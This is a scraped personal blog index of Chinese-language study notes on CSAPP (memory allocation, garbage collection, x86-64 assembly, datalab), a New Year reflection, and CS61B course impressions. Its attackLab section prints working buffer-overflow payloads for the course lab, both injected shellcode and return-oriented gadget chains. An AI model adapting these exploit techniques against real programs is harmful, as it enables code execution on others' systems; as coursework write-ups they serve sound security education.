根据双字对齐，应该需要8字节的空间。会给它分配相应的块，返回这个块的位置，这个值需要另行保存以供查找修改。\n但是到了 free() 环节，才是这些分组和指针上场的时候。\n这个时候分层的链表才会去把 free() 的对应区块给插入到相应链表头部。\n这意味着每个块的大小至少要放得下这个8字节指针。\n因此分配块的逻辑：\n它先去找对应分组的头指针，如果有元素直接按照链表分配其头部； 如果没有，那么会分配一块堆区顶部的新区域。 allocated blocks require no headers, and since there is no coalescing, they do not require any footers either.\n优点：可以用O(1)时间复杂度方便查找。\n缺点：所有的free了的区块无法合并，可能导致不必要的碎片和空间浪费。\n改进：Segregated fit 分离适配 # 这才是实际Linux GNU的 malloc() 方法所用的机制。\n理论基础：每个组只是一个区间描述，块与块之间可以合并分裂。\n虽然分配块的时候执行first-fit，但是只在最坏情况下才达到O(n)时间复杂度。\n注意：此时free()的时候除了要填入 succ 指针，也要留出header空间描述块的大小。\nBuddy Systems 伙伴系统 # 要求每个块的大小是2的整数次幂。\n（此外注意我们人为的规定了大小为2^m^的块，它的堆区起始地址的末m位为0，以保证相应倍数关系）\n在需要分配的时候，如果在某一层没找到：\n它会到更大的一层去找有没有空位，如果有（比如32字节找到了64字节）：\n这个64字节的空间会被分割成2个32字节的空间，进行再链接和分配。\n为什么这个操作速度快？\n一个64字节分出2个32字节。\n然后我们可以得到，两半的地址分别在\n...100000 与 ...000000。要找到对方，只需要做一个简单的异或运算！\n合并机制：两半可以找到彼此后重新合并。\n我们这样既兼顾了free()的效率（最坏有可能退化成log(n)），也保证了空间的充分利用。\n而实际 malloc() 的效率在合理的分组下，最坏也只是log(n)。\n缺点：比如33字节会最后分配到64字节空间，产生了新的空间浪费。\nGarbage Collection 自动回收 # 我们调用 malloc 时，free的工作是Conservative garbage collector 自动接手的。\nMark \u0026amp; Sweep # 通过 Mark 从根节点标记染色遍历到的节点，Sweep 将没有上色(Unreachable) 的节点给 free() 掉。\n所谓根节点指针是怎么来的？\n全都是用户保存在运行时栈中的变量/寄存器/全局或静态变量，GC在Mark的时候会从这些东西开始扫描。\n遇到的问题是：\n没有办法明显区分访问到的地方是不是指针，还是一个地址标记 即使是指针也没有办法界定它指向哪一个位置（可能是一个块的内部而非头部）——因为这个指针可能是用户自己定义保存的 为了解决后面一个问题，我们会对每个节点的Header加上左右指针，并建立地址大小的平衡的二叉搜索树。（注意这里和上面讨论的无GC情况略有出入）\n从而对于任意一个扫读到的类似地址8字节数字，我们可以借助二叉搜索树锁定它是否在某个合理的内存范围内，如果在就可以Mark了。\n(能看出来header应该要24个字节长) \u0026ldquo;Conservative\u0026quot;的意思是，这种情况很有可能free不干净。比如某个块内部的数值冒充了指针，还正好对上某个事实上unreachable块的地址，那么这个块也不会被清除掉。\n我们这里的工作是为了扫整个内存块的GC着想，和上面手动malloc\u0026amp;free的情况不同。\n另外有一个细节问题：我创建数组最后返回的是指向下标为0的元素的指针，而我的header部分在前面，那我想要利用到这个header的信息，我在Mark扫的时候必须要考虑到这个偏移量Offset的因素。\n常见内存问题 # 第一个是\nscanf(\u0026#34;%d\u0026#34;, \u0026amp;val); //注意\u0026amp;，我们传入的是格式化字符串 第二个是堆区内存不总被初始化为0，要初始置0应用 calloc()\n第三个是栈缓冲区溢出，用 fgets() 优于 gets()\n第四个是 char*（指针） 和 char（数据类型） 大小不一样。\n第五个是数组下标越界。\n第六个是 (*size)-- 与*size-- 的区别。\n第七个是指针变量应该 p++ 而非 p+=sizeof(int)。\n第八个是返回被弃用的栈指针（野指针）。\n第九个是访问了已经被 free() 掉的块内容。\n第十个是内存泄漏，某些情况不手动 free() 掉导致堆区越堆越多。\nBy Tab_1bit0\n","date":"14 March 2026","externalUrl":null,"permalink":"/learning/ch.9/","section":"Learning","summary":"","title":"csapp 第9章 虚拟内存","type":"learning"},{"content":"","date":"14 March 2026","externalUrl":null,"permalink":"/learning/","section":"Learning","summary":"","title":"Learning","type":"learning"},{"content":"","date":"14 March 2026","externalUrl":null,"permalink":"/","section":"Tab_1bit0的神秘据点（施工中）","summary":"","title":"Tab_1bit0的神秘据点（施工中）","type":"page"},{"content":"这里大概就是一些图解了，没有隐藏关嘻嘻\n但看起来这里也是压缩版本，那无损版来找Tab的私信要吧（）\n两个小虫子：Phase6里面两个不等号方向写反了\nPhase2-5\nPhase6\n","date":"25 February 2026","externalUrl":null,"permalink":"/learning/bomblab/","section":"Learning","summary":"","title":"Bomblab","type":"learning"},{"content":" CSAPP Learning # 寄存器与寻址 # 寄存器只有16个，所以汇编的时候会优化，让最需要的放在寄存位置，其他的先放在后台\n类比于C语言的指针 *p\n$$Imm(rb,ri,s) = M[Imm+R[rb]+R[ri].s]$$struct Idol { int id; // 占4字节 (偏移量 0) int height; // 占4字节 (偏移量 4) int score; // 占4字节 (偏移量 8) }; struct Idol niji_club[12]; // 虹咲学园偶像同好会的12位成员数组喵！ 对于 niji_club[i].score 有\n$$\\text{Address} = 8 + r_b + {i \\times 12} \\cdot 1$$ Imm - Immediate 立即数，全局情况下是数组绝对起始位置（取代掉rb），局部则是距离（栈帧顶部指针）偏差值，固定 rb - 基址，整个数组在内存的绝对起始位置，动态 ri - 动态的访问数组的下标 s - 适配数组数据类型大小，1/2/4/8取值（对应到数据类型的Byte） 对于结构体的特殊情况会如上处理，一个Idol的大小是12Byte（超出限制），那么机器会 将s设为1，而将ri设为 12*i，动态调整\n可以直接使用leaq指令，将目标的内存地址直接写入目标寄存器\n在64位的机器中内存地址是64位的，所以没有除了q外其他变种\n（哈Gemi说可能会用leal做int32的运算）\nmov 指令 # 赋值，at\u0026amp;t 环境下是 左 -\u0026gt; 右 的逻辑。\nmemory to memory is forbidden.\nSubstitution:\nmov memory, register mov register, memory 特殊情形： # movq 动立即数 取32位的two\u0026rsquo;s complement，符号扩展到64位 64位的immediate使用movabsq 不同大小零扩展 - ZeroExtend \u0026amp; 符号扩展 - SignExtend 以及Change Destination Register有关一个特殊规定：\n1 movabsq $0x0011223344556677, %rax %rax=0011223344556677 2 movb $-1, %al %rax=00112233445566FF 3 movw $-1, %ax %rax=001122334455FFFF 4 movl $-1,%eax %rax=00000000FFFFFFFF # 32位赋值后高位都被置为0 5 movq $-1,%rax %rax=FFFFFFFFFFFFFFFF 32位机器上跑int64？拆两半\n算术运算的优化 # leaq的加法乘法优化 # From\nlong scale(long x, long y, long z) { longt=x+4*y+12*z; return t; } To\nx in %rdi, y in %rsi, z in %rdx scale: leaq (%rdi,%rsi,4), %rax # x + 4*y leaq (%rdx,%rdx,2), %rdx # z + 2*z = 3*z leaq (%rax,%rdx,4), %rax # (x+4*y) + 4*(3*z) = x + 4*y + 12*z ret leaq 方法的优化性：\n三元运算，一个时钟周期内一起做乘法和加法 不需要去内存找值，速度快 无覆盖性和破坏性 绕开Condition Code Register的状态改变 结合位运算优化 # 左移/右移快速对应乘除法\n条件，跳转，控制 # 关于条件码 # Condition Code Register 被动态地维护，里面存着各种各样的conditions（溢出/相等/……），每一个Condition Code 都占1bit(0/1)。\n各种算术操作都可能改变里面的条件值。\nCF - Carry Flag 位数变多置1 ZF - Zero Flag 为0置1 SF - Sign Flag 负数置1 OF - Overflow Flag 溢出置1 不给寄存器赋值只修改条件码——cmp系列（按减法结果），test系列（按位与结果）\nset系列可以把条件码的值（按一定规律）读出来赋值\n搭配食用：\ncmpq %rsi, %rdi sete %al # e --\u0026gt; equal 组合拳有：setl(where l represents \u0026ldquo;less\u0026rdquo;) 得到的是 OF ^ SF的结果，要考虑溢出（参见Datalab的Solution）\n跳转，分支，循环 # jmp是无条件跳转，j系列是条件跳转，配合实现循环。\njmp的跳转 (branch) 指令在现代处理器下效率不如条件赋值 (conditional move) 效率高，原因是分支预测器可能在if语句长的情况下猜错了路导致时间浪费的情况。\n但是：conditional move也会导致计算浪费，无法规避可能报错等情况，实际上跳转的形式会被编译器采用的更多。\njmp标记实际执行的时候不会被保留，反汇编会给出另一种方便核实的方法：\n通过jmp 8\u0026lt;loop+0x8\u0026gt; 直接锁定它在指令中的字节位置。\n条件赋值使用cmov系列完成，例如cmovge相当于基于大于等于的判断。\n.L2/.L3都只是一个路标的标记作用，没有实际的代码分块含义，类似五线谱的D.S.记号（从某处开始继续执行）。\nrep repz 的写法比较特殊喵\nSwitch语句的跳转表（Jump Table）设计 # voidswitch_eg(longx,longn, long*dest) { longval=x; switch(n){ case 100: val *= 13; break; case 102: val += 10; /*Fallthrough*/ case 103: val += 11; break; case 104: case 106: val *= val; break; default: val=0; } *dest = val; } 1 switch_eg: 2 subq $100,%rsi Computeindex=n-100 3 cmpq $6,%rsi Compareindex:6 4 ja .L8 If\u0026gt;,gotoloc_def 5 jmp *.L4(,%rsi,8) Goto*jg[index] 6 .L3: loc_A: 7 leaq (%rdi,%rdi,2), %rax 3*x 8 leaq (%rdi,%rax,4), %rdi val=13*x 9 jmp .L2 Gotodone 10 .L5: loc_B: 11 addq $10,%rdi x = x + 10 12 .L6: loc_C: 13 addq $11,%rdi val = x + 11 14 jmp .L2 Gotodone 15 .L7: loc_D: 16 imulq %rdi,%rdi val = x * x 17 jmp .L2 Gotodone 18 .L8: loc_def: 19 movl $0,%edi val = 0 20 .L2: done: 21 movq %rdi,(%rdx) *dest=val 22 ret Return jmp *.L4(,%rsi,8) 访问了.L4地方所存的跳转表，这个是$O(1)$的复杂度访问\n这里rb = 0仅是出于教材的案例选取考虑\n我们有：\n.section .rodata .align8 Alignaddresstomultipleof8 .L4: .quad .L3 .quad .L8 .quad .L5 .quad .L6 .quad .L7 .quad .L8 .quad .L7 关于.字开头的「伪指令」：\n它的作用是给汇编器看的舞台布置脚本，主要作用是声明。 不实际参与CPU执行。 这里的.quad就是开辟了一片空间，可供访问。 也就是说：\n我们在这里直接定义了一个数组，而且是static \u0026amp; const 的 内存地址这是一个很宽泛的概念，程序指令和变量都有 default情况下的.L8被填入了空缺位置，保证数组下标连续性，也符合实际的运行逻辑。 从case 100这类复杂情况到最后0/1/2这里的内存寻址，实际经历了编译器的自动优化。 n-100，\u0026gt;6的时候跳入default。 \u0026lt;=6 的时候有对应case就进对应case，没有就跳入default。 数组声明长度是8而不是其他更小的数，也是出于其长度规整性的考量。 ja means above unsignedly. 它避免了比如n=99时候的报错。 这样，我们直接通过基于switch(n)的n值完成了对应语句块的跳转，\n从而在处理多分支情况时，使switch的逻辑相比if-else运行更快，但也意味着空间的更多使用。\nProcedure与栈帧艺术 # Frame for executing function Q 的内存预留，在被调用函数Q的地方已经被写好：\nsubq $16,%rsp把这一部分空间全都给预留出来了。\nRun Time Stack 运行时栈 # 整个程序的所有栈帧都建立在这个大栈上面，地址连续，它不断地扩张着向着低地址生长。\nFrame for calling function P # 在函数P执行call Q之前，它会先把Argument n ~ Argument 7，%rip按顺序压入栈中，这个时候的%rsp处理完正指着Return address的栈顶，但是是栈内元素增长，没有挪动过%rsp。\nFrame for executing function Q # Saved registers - 这里是给各种callee saved暂存寄存器的值所用的 Local variables - 这里是给各种寄存器里放不下的变量储存用的 Argument build area - 这里是为后续可能有的函数传参做预留空间 寄存器去哪了？ # 它本体在cpu里面，根本不是这个栈帧的一部分。\n加深一下寄存器的知识喵 # %rsp - 是一个可以执行函数跳跃的栈顶指针 %rip - 是当前函数所执行指令的下一条指令的地址，它是caller saved %rax - 是提供当前函数的返回值，它是caller-saved的 %rdi %rsi %rdx %rcx %r8 %r9 - （64位长度下）函数的第1-6个传递参数，它们也都是 caller saved 但它们既有可能是纯粹数值，也有可能是指针，根据传参类型确定。 数组退化： 函数传参传入数组，实际上只传了它第0个位置的指针。 想一想：为什么在为什么在C++，Python，Java里面，我传参传入一个数组，最后结果上会改掉它本身呢？（严谨地说，对于Java/Python的任何对象都适用；C++的Struct情况可能有些特殊） %r10, %r11 - caller saved，which means 储存值可以由被调用的函数callee覆盖 %r12 ~ %r15, %rbx, %rbp - callee saved，保存函数调用之前的寄存器值并提供恢复 传递参数和局部变量的字节对齐 # 为什么？ 因为现代处理器以多个（比如8个）字节为单位块抓取数据进行处理，为了处理性能和避免报错。\n要求栈所传递的参数以8字节对齐的模式储存。\n对于局部变量要求而言，也要遵守一定的字节对齐规范。\n比如，4 字节的 int 必须站在 4 的倍数地址上，8 字节的 long 或指针必须站在 8 的倍数地址上。 GCC的局部变量区整体上默认是16字节对齐的。\n也就是说，即使局部变量区只有一个 char，也是 sub $16 %rsp。 我想用全局变量怎么办？ # 它们加载在内存的低地址区域（和栈区域隔着Heap区），独立于main函数在内的任何栈帧。\n这里也是用到了寻址公式，进行绝对地址的访问。\n怎么写入local variables？ # 出于对齐原则考虑，这里不会使用pushq，而应直接对%rsp向高地址找。\n数组与结构体与联合体的访问 # 看上面虹团的例子喵\n二维数组的访问下标由i与j两个下标决定，因此有类似 $ri=i+mj$ 的方法表示。\n此外，出于计算性能考虑，结构体也会有类似字节对齐规范的要求，实际\n的size可能与各个数据类型的代数加和有所出入。\n形成结构体数组，其紧密排列有可能无法满足所有元素的对齐要求，也就是说会对每个单独结构体添加若干字节的填充。\nint i int j char c 不能耍这种小聪明的说，单个的size还是12\n联合体Union相对于结构体Struct，可以更节省空间\n缓冲区溢出和解决方案 # C语言并没有检测数组下标溢出的报错，可能程序会突破高地址，把return address给强制覆盖掉了，导致程序回归跳转到意想不到的地方（早期互联网病毒）\n规避办法：\n程序栈位置随机化 在缓冲区插入值（金丝雀值）检测是否被篡改 消除攻击者向系统中插入可执行代码的能力——分开可读和可执行权限 若干个细节问题 # 在main函数执行的时候，为什么没有看到%rsp的设定? 因为系统会自动给一个%rsp位置的分配，不用汇编动手。 main函数的return address是什么，还是会直接让程序结束？ main函数既不是程序的起始，也不是程序的终止。执行完之后回到C运行库中进行清理和exit。 如果遇到连续call了两个函数的情况怎么处理，是重复地将%rip等等给压入栈吗？ 不是。 这些东西完事之后还会被pop出来。 switch语句的那个Jump Table的定义格式是不是很特殊? 是的。 它模糊了指令与数据之间的边界。 一开始main函数的%rsp会被默认设得位置相对低，这是否意味着本来这个栈就不是恒定装满元素的吗？ 是的。 我们本来就不追求装满。 另外%rsp低到预设下限以下（一般是超出8MB大小）就是无限递归情况，出现栈溢出报错。 是否push指令会没法满足8字节对齐呢？ 现在64位编译器一般都只牵涉到使用pushq指令。因此8字节肯定能对齐，但16字节对齐会出问题。 为什么会有subq $24, $rsp这种下移24位的写法？ 因为我们事先在call的时候把8字节的%return address 给 push 进来了，它已经下移了8个字节。维持16字节对齐，下移24位是没问题的。 在csapp的语境下，哪些地方我们见到了pushq? 它藏在call里面 它在存%rbx等等的时候遇到了 By Tab_1bit0\n","date":"25 February 2026","externalUrl":null,"permalink":"/learning/csappchapter3/","section":"Learning","summary":"","title":"csapp chapter3 机器码汇编","type":"learning"},{"content":" CSAPP Learning # This document is for attackLab.\nPhase1 # 最简单情况，往里面填充40字节的垃圾信息，再把touch1的返回地址注入就可以了。\nSolution:\n00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 /*40字节的填充信息*/ c0 17 40 /*真正的返回地址*/ Phase2 # 要求我们还得注入一个标识自己的Cookie。\n由于程序执行并不严格区分数据区和指令区，两者都是地址表示的，我们把自己写的汇编指令注入到存数据的栈帧当中，并让return地址能跳转过去就可以了。\n执行逻辑：\ngetbuf -\u0026gt; 自己写的指令 -\u0026gt; touch2\nSolution:\n48 83 ec 08 /* sub $0x8, %rsp */ 48 c7 c7 fa 97 b9 59 /* mov $0x59b997fa,%rdi */ c7 04 24 ec 17 40 00 /* movl $0x4017ec,(%rsp) */ c3 /* ret */ /*自己手写的注入指令*/ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 /*其余的填充信息*/ 78 dc 61 55 /*让getbuf执行完跳到我们上面自己写的部分去*/ 严谨性的小问题：由于原程序跳回的是一个6位数的地址，高位默认置0，所以我们这里的返回地址并没有给高位用0覆盖。 此外注意一个细节：\nret 指令实际集成了 mov (%rsp), %rip %rsp += 0x8 也就是把栈顶元素弹出赋值给%rip的过程，%rsp的低位置会完全作废。\n这个细节会影响到Phase3，以及 sub $0x8, %rsp 如果phase2也不写这句的话，会出现既成功又报错的诡异场景\nPhase3 # 我们要把Cookie写成一个8字节的字符串存起来，并且要求我们返回这个字符串的指针。\n存在哪里？ 要保存在%rsp的更高位置。不然会被之后一轮轮的新的栈帧潮水一般冲刷覆盖，全部坏掉。\n为什么可以存在高地址？ 因为更高地址是调用getbuf的test函数的栈帧，那个地方变成什么样我们才不关心呢（傲娇脸）\n此外注意我们还得给这个字符串的上面字节置0，因为C的字符串以00标识尾部，char* p 以读到00作为结束。\nSolution:\n48 83 ec 08 /* sub $0x8, %rsp */ 48 c7 c7 a8 dc 61 55 /* mov $0x5561dca8, %rdi */ 48 c7 04 24 fa 18 40 /* mov $0x4018fa, (%rsp) */ 00 /* Nothing */ c3 /* ret */ /*注入指令*/ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 /*其余的填充信息*/ 78 dc 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00 00 00 00 00 00 00 00 这里写 sub $0x8, %rsp 的目的就很明确了，不然的话%rsp指针上移8位会直接指到我们存Cookie的那个位置去，而碰巧我们又做了一个覆盖操作，会导致直接炸掉。\n更优解法是，直接用 pushq 指令集成一下。\nPhase4 # 我们要干和phase2一样的活，但是区别在栈地址随机化和栈区不可执行的保护措施下，我们没办法手写注入我们的指令进行攻击了。\n怎么办？ 拼凑原程序的指令零件。\n机器读指令是一个一个字节读的，我们要做的就是断章取义。\n「断章取义」\n——出自「不要断章取义」\n大概就是这么个意思\n截取有用的片段，忽略 test nop 这种无关痛痒的垃圾信息，让程序直接跳到我们希望它开始的位置开始就可以了\n注意这个魔法：popq\n发动它可以让%rsp一下跳16个字节，并且把栈里面的数据注入给%rax\nSolution:\n00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 /*依旧是40字节的垃圾信息*/ ab 19 40 00 00 00 00 00 /* popq %rax */ fa 97 b9 59 00 00 00 00 /* 我们的cookie */ c5 19 40 00 00 00 00 00 /* mov %rax, %rdi */ ec 17 40 00 00 00 00 00 /*返回地址*/ Phase5 # 和Phase3做一样的事情，区别就是Phase4和Phase2一样的\n图解\nSolution\n00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 1a 40 00 00 00 00 00 c5 19 40 00 00 00 00 00 ab 19 40 00 00 00 00 00 50 00 00 00 00 00 00 00 dd 19 40 00 00 00 00 00 34 1a 40 00 00 00 00 00 27 1a 40 00 00 00 00 00 d6 19 40 00 00 00 00 00 c5 19 40 00 00 00 00 00 fa 18 40 00 00 00 00 00 00 00 00 00 00 00 00 00 35 39 62 39 39 37 66 61 00 00 00 00 00 00 00 00 其实这里的touch3上面是没有空行必要的\n这里要注意到它很仁慈地给了 add_xy() 方法，我们可以巧妙地构造让它加一个偏差值0x50上去，得到我们想要的结果\n遇到的问题：\nadd_xy() 的传参一开始忘记处理了，一定要记得扔给 %edi 和 %esi 64位赋值不要写错地址成32位赋值，不然高位被置0很难受的说 ","date":"25 February 2026","externalUrl":null,"permalink":"/learning/attacklab/","section":"Learning","summary":"","title":"attackLab","type":"learning"},{"content":" CSAPP Learning # 认知上的一些补充 # 对于一个32位（4B）的数字——\n不同机器上的big/little endian 的存储方法不同 可以有很多种不同的解释方法 unsigned int float 一个同样的二进制序列，在不同的数据类型下的含义不尽相同。 位运算的奇妙功能——\n\u0026amp; : 可以取出特定位上的数字 ^ : 可以检查和模具的契合度，!(a ^ b)的方法可以实现匹配相等检测 ! : 可以将繁杂的int32归拢成为0和1 | : 可以归并条件的「或」 ~ : 可以取二进制补码，快速得到逆元 \u0026laquo; and \u0026raquo; : 可以快速推拉一个二进制数 浮点数的精妙设计——\n符号+exp+frac unnormalized与normalized之间的平滑过渡 bias的引入（=127 for float） 有效数字的概念挪移 对正负无穷大与NaN的复现方法 一些可能性的拓展……\n二进制的加减乘除，浮点数的处理，在底层的数字电路板子上如何设计实现？ 从线性代数的角度审视，这些运算是否能抽象成在0/1的特殊n维空间上的矩阵向量运算？ DataLab # 主要由前半部分的integer操作和后半部分的float功能复现构成。\n前半部分更偏向思维性，后半部分更偏向工程性。\n对构造的思维方法会要求比较高。\nallOddBits() # 题干要求只能出现0x00-0xff区间内的数字，但我们却需要一个0xAAAAAAAA。\nint root = 0xAA; int mask = root\u0026lt;\u0026lt;24 | root\u0026lt;\u0026lt;16 | root\u0026lt;\u0026lt;8 | root;\n拼起来就可以啦\nisAsciiDigit() # !!((~x+0x30) \u0026amp; 1\u0026lt;\u0026lt;31) \u0026amp; !((~x+0x3a) \u0026amp; 1\u0026lt;\u0026lt;31)\n区间内正负性的判断\nconditional() # (y \u0026amp; !!x\u0026lt;\u0026lt;31\u0026gt;\u0026gt;31) | (z \u0026amp; !x\u0026lt;\u0026lt;31\u0026gt;\u0026gt;31) 简单的推拉复制。\nisLessOrEqual() # !(!(x \u0026amp; 1\u0026lt;\u0026lt;31) \u0026amp; !!(y \u0026amp; 1\u0026lt;\u0026lt;31)) \u0026amp; (!!((x+~y) \u0026amp; 1\u0026lt;\u0026lt;31) | (!!(x \u0026amp; 1\u0026lt;\u0026lt;31) \u0026amp; !(y \u0026amp; 1\u0026lt;\u0026lt;31)))\n记得写特判喵，还有这里可以拆开写，这个格式不太好\nhowManyBits() # 这是一个很巧妙的二分处理法\nint sign = x \u0026gt;\u0026gt; 31; x = sign ^ x; b16 = !!(x \u0026gt;\u0026gt; 16) \u0026lt;\u0026lt; 4; x = x \u0026gt;\u0026gt; b16; b8 = !!(x \u0026gt;\u0026gt; 8) \u0026lt;\u0026lt; 3; x = x \u0026gt;\u0026gt; b8; b4 = !!(x \u0026gt;\u0026gt; 4) \u0026lt;\u0026lt; 2; x = x \u0026gt;\u0026gt; b4; b2 = !!(x \u0026gt;\u0026gt; 2) \u0026lt;\u0026lt; 1; x = x \u0026gt;\u0026gt; b2; b1 = !!(x \u0026gt;\u0026gt; 1); x = x \u0026gt;\u0026gt; b1; b0 = x; return b16 + b8 + b4 + b2 + b1 + b0 + 1; 不用枚举32遍的\n这个代码不是我写的，哈Gemi的比我写的整洁\n还有三个Float的功能复现，思维难度相比不大\nfloatFloat2Int() 特判+映射+加符号组合拳 floatPower2() 注意分类讨论 ","date":"25 February 2026","externalUrl":null,"permalink":"/learning/chp2datalab/","section":"Learning","summary":"","title":"csapp 第2章 信息存储 整数浮点数","type":"learning"},{"content":" 01 # 「像小姑娘」\n「像搞艺术的」\n「像留学生」\n今天晚饭。大年二九，除夕。 上次见到桌上的这些近亲远亲，还是去年的这个时候。可就算我自己也难以想象吧，半年的时间而已。今天早上捡起一根散发，一量发现有将近10公分长的时候，自己先震惊了自己。\n寸头变成长发。\n体重轻了20多斤。\n腰和腿细了一大圈。\n眼镜换得面目全非。\n很久不见的同学朋友，见面也多说，我面相大变，判若两人。\n02 # 其实，人很容易忘记，过去某个时间节点的自己是什么样子； 也很难察觉到，自己的变化到底有多大，有多快。\n记得高中哪回大考试我考了年级第7名。那段时间每有人膜我，我就说：\n「今天的我不是前几天考年级第7的我，就现在的我而言，我确实没考过年级第7名。」\n虽然当时只是开玩笑，但今天，我还是被这个回旋镖打中了。我自己能非常自信的下这个结论：\n今天的我，和高中毕业时候的我，已经完全不是一个人了，不论是在外貌上还是心理上。\n这种发现与领会的感觉很奇妙：原来我能改造自己。我的Configuration里面有这么多能自由调整的参数。 我可以和调教虚拟歌姬一样调教自己，将自己构造成自己所喜欢的样子。\n03 # 最近大晚上特别容易破防。经常半夜两三点的时候，猝不及防地被心绪流动击中，瘫在床上痛哭流涕。 我弄不明白为什么会那样，为什么大晚上的我会这么内耗焦虑，会这么敏感脆弱，感觉那是一个完全阴面的我，完全地活在平日跳脱性格的阴影里面。\n我看到那些我尽力追赶却无法触碰到的大佬天才。\n我听到我脆弱的哭泣声。难受，后悔，脆弱。\n我没有底线地拷问自己，你为什么不能成为那样，你为什么永远等着失败找上门。\n我感觉我好像那个在宇治桥上狂奔大喊悔しい的kumiko一样。\n这个阴面的我，不像正常状态的我，但似乎又冥冥之中有些联系。\n04 # 最近这半年，进了好多寺庙，烧掉了好多根香。\n上海的龙华寺，东京的浅草寺，京都的金阁寺，广州的大佛寺。\n其实每次走进寺庙的动机，都只是心理上的好奇与有趣。我不信佛或其他任何宗教，佛寺里面供着的那些个菩萨，我更不知道谁是谁。 与其说是烧香拜一些我自己都不认识的神仙菩萨——\n不如说，我点的每一根香都是烧给自己的。\n因为我愿意相信，谋事在人。 # 05 # 人类总会区分事情以吉凶，并借用特定的形式或仪式，以达成「袚除凶祸」的目的。\n记得在浅草寺的时候抽了个签，大吉。\n那签上是一首汉诗：\n凿石方得玉，淘沙始见金。\n青山终有路，只恐不坚心。\n哪怕是这些特殊的佛法仪式，照我看来，依旧是在教导着人们：\n「走你自己的路吧，这苦海只有靠你自己才能渡过。」\n所以，我也就不过度说一些客套的话了，祝看到这里的你：\n新年快乐。\n谋事在人。 # By Tab_1bit0\n2026.2.16\n","date":"17 February 2026","externalUrl":null,"permalink":"/articles/springfestival2026/","section":"Articles","summary":"","title":"2026农历春节喵","type":"articles"},{"content":"","date":"17 February 2026","externalUrl":null,"permalink":"/articles/","section":"Articles","summary":"","title":"Articles","type":"articles"},{"content":"","date":"17 February 2026","externalUrl":null,"permalink":"/authors/","section":"Authors","summary":"","title":"Authors","type":"authors"},{"content":"","date":"17 February 2026","externalUrl":null,"permalink":"/authors/default/","section":"Authors","summary":"","title":"Default","type":"authors"},{"content":" CS61b Learning # Background 背景紹介 # cs61b相比于同系列cs61a而言：\n鲜明的面向对象设计 (OOP)，弱化的函数编程思想（cs61a中的scheme/函数传参/高级函数） 侧重于结构搭建 代码量变大，千行数量级 更要考虑实际运行的时空复杂度 Lab为写Project服务 Project自由度高，不再是problem导向 算法难度提升，涉及优化搜索，nlogn排序，哈希，并查集，平衡树，图的最短路径，最小生成树等 Personal Thoughts 個人的な考え # 迫于现实压力，Tab抱着速通的想法学这个课，最后大概花了10天左右的时间，刷完了全部的Lab和Project。\n但客观而言，这绝对是一门值得花很长时间去投入学习的课程。\n或者不用「课程」这个词，用「知识」来称呼更加妥当。\n如果只是想着写完四个project长一长项目经历的话，可能会和大量的有趣或有用的知识擦肩而过。\n一个小小的建议是，https://sp21.datastructur.es/ 上，打算做lab和project的时候，不妨看一看Lecture在讲些什么。\nTab觉得这门课的内容难点在：\n信息密度大的硬课 对零基础上手不友好 大量英语文本阅读 最好有外语基础，LLM只能解决一部分问题 关于辅助工具的使用：按照工科学生的学习思维，学习以目的为导向，学习手段可以很自由，谷歌维基，菜鸟教程，生成式AI都可以用。\n我在做Gitlet的时候，借助哈Gemi老师一点一点，几乎从零开始摸清楚了真实Git的工作原理，然后复现在了Gitlet上面。\n但是：所有关键部分的代码落实都不推荐使用任何外部工具，IDE的AI辅助补全整段也要关掉。\nProjects Overview プロジェクト概要 # Proj0 2048 这个主要是熟悉java语法用的 Proj1 Data Structures 深入接触数据结构，了解Java里面类方法接口等等的调用，要求复现java.util里面的LinkedListDeque 和 ArrayDeque Proj2 Gitlet 量大而复杂，用到很多种数据结构和文件管理系统，Debug最坐牢，但也是最值得一做的Project，对写代码启发特别大 Proj3 CS61BYoW 做一个2D肉鸽，更加偏向创作性，可能更适合vibe coding（笑）我做的这个做的很粗糙说是 About Gitlet　ギットレットについて # 和上面所说的一样，这个项目虽然非常坐牢，但是非常值得一做。我耗时3天一共32小时，在LLM辅助大大降低试错成本的前提下做这个时长，很难想象没有LLM的时代的那些学生做这个Project是多么难受的体验。\n鸣谢哈Gemi老师帮我做了这些事情：\n帮我弄懂Git的真实工作原理，在自己的Gitlet里面借鉴取舍和复现 帮我判断把握一些想法上的可行性的是与否，大大降低了钻进死胡同的试错成本 帮我总结概要翻译文本难读的部分，解释清楚工作规则的细节 帮我读那个.in文件的又长又难懂的报错信息 回忆\n一开始写init的时候，借鉴.git的文件设置\n参见记录：https://shuiyuan.sjtu.edu.cn/t/topic/447931/807\nproj2正在努力的找突破口……\n打算先这么入手：\n模仿（mimic）.git的文件结构\n弄清楚commit tree \u0026amp; HEAD指针的具体工作原理\n以目前的认识来说都有点抽象\n思路：尝试做init，init需要构造一个repo，那么需要\n.gitlet/ ----objects/ # 存序列化的文件，应该是staging area ----ref/ --------heads/ # 存各种的分支 ------------master # master分支的commit --------remotes/ # 存远程分支（后期用到） 这个文件结构是好构建的，但是这里的commit内容究竟\n要包含什么信息，用什么样的结构\n如何从commit里面读/存一整个commit tree\n那么搭框架这一步做了个大概，测试也算是跑通了，后面一些文件等做log或者别的方法了再加\n明天打算先搞清楚\n这些数据是怎么在各个文件当中流动的 怎么创建commit树，并通过checkout等方法回溯或者分支 虽然init对此的要求不高，但是必须要先搞清楚\n这个结构从复盘的角度来看做的其实挺粗糙的，当时我甚至连Staging Area是什么东西都不知道\n对所谓的commit tree也一点概念都没有，后来写log的时候还以为要单独存一个二进制文件，脑子多少沾点大病\n但是我弄清楚了index(Staging Area) 的存储是一张哈希表，Objects里是各种commit文件和commit混放的\n然后后来一整天我煞费苦心写了 init add commit rm log global-log status find 这8个方法\n参见记录：https://shuiyuan.sjtu.edu.cn/t/topic/447931/831\nLLM说大概熟练者是20-40h之间完工\n明天还得干一个很牛逼的事情\n优化代码 # 这坨代码里估计还有大的没发现\n这个大的被我说中了一半，当时还以为很顺水推舟的做完了剩下的checkout branch rm-branch reset 